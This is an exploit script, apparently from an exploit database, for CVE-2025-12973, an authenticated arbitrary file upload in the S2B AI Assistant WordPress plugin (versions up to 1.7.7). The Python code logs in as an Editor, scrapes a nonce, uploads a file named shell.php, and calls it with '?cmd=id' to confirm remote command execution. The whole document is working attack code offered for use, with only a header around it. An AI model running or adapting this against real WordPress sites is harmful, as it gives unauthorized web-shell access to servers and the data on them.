# Exploit Title: S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Content & Image Generator <= 1.7.7 - Authenticated (Editor+) Arbitrary File Upload # Date: 11/09/2025 # Exploit Author: Ryan Kozak # Vendor Homepage: https://wordpress.org/plugins/s2b-ai-assistant/ # Version: <= 1.7.7 # CVE : CVE-2025-12973 import requests import re import sys import argparse from urllib.parse import urljoin def main(): parser = argparse.ArgumentParser(description='CVE-2025-XXXXX - S2B AI Assistant Plugin File Upload Exploit') parser.add_argument('url', help='Target WordPress URL (e.g., http://example.com)') parser.add_argument('username', help='WordPress username') parser.add_argument('password', help='WordPress password') args = parser.parse_args() print(f"[+] Target: {args.url}") print(f"[+] Username: {args.username}") # Login to WordPress session = requests.Session() login_data = { 'log': args.username, 'pwd': args.password, 'wp-submit': 'Log In', 'redirect_to': urljoin(args.url, '/wp-admin/'), 'testcookie': '1' } session.post(urljoin(args.url, '/wp-login.php'), data=login_data) # Get nonce from chatbot page chatbot_url = urljoin(args.url, '/wp-admin/admin.php?page=s2baia_chatbot') response = session.get(chatbot_url) # Look for nonce in the page content (Assistant API tab) nonce_match = re.search(r'name=["\']s2b_chatbot_assistant_nonce["\']\s+value=["\']([^"\']+)["\']', response.text) if not nonce_match: # Try alternative nonce patterns nonce_match = re.search(r's2b_chatbot_assistant_nonce["\']?\s*:\s*["\']([^"\']+)["\']', response.text) if not nonce_match: nonce_match = re.search(r'value=["\']([^"\']+)["\']\s+name=["\']s2b_chatbot_assistant_nonce["\']', response.text) if not nonce_match: print("[-] Failed to get nonce from chatbot page") print("[-] Make sure you have Editor role or higher") sys.exit(1) nonce = nonce_match.group(1) print(f"[+] Nonce obtained: {nonce}") # Upload malicious file upload_url = urljoin(args.url, '/wp-admin/admin-post.php') files = { 's2baia_chatbot_config_database': ('shell.php', '', 'application/x-php') } data = { 's2b_chatbot_assistant_nonce': nonce, 's2b_chatbot_hash': 'assistant', 'action': 's2b_store_chatbot_upload' } response = session.post(upload_url, files=files, data=data, allow_redirects=True) # File is stored in wp-content/uploads/ directory # WordPress typically organizes uploads by year/month import datetime now = datetime.datetime.now() uploads_base = urljoin(args.url, '/wp-content/uploads/') shell_url = f"{uploads_base}{now.year}/{now.month:02d}/shell.php" print(f"[+] File uploaded successfully!") print(f"[+] Shell URL: {shell_url}") # Test the shell test_url = f"{shell_url}?cmd=id" test_response = session.get(test_url) if test_response.status_code == 200: print(f"[+] Command output:") print(test_response.text.strip()) else: print(f"[!] Shell may be at a different location") print(f"[!] Check: {uploads_base}") if __name__ == "__main__": main()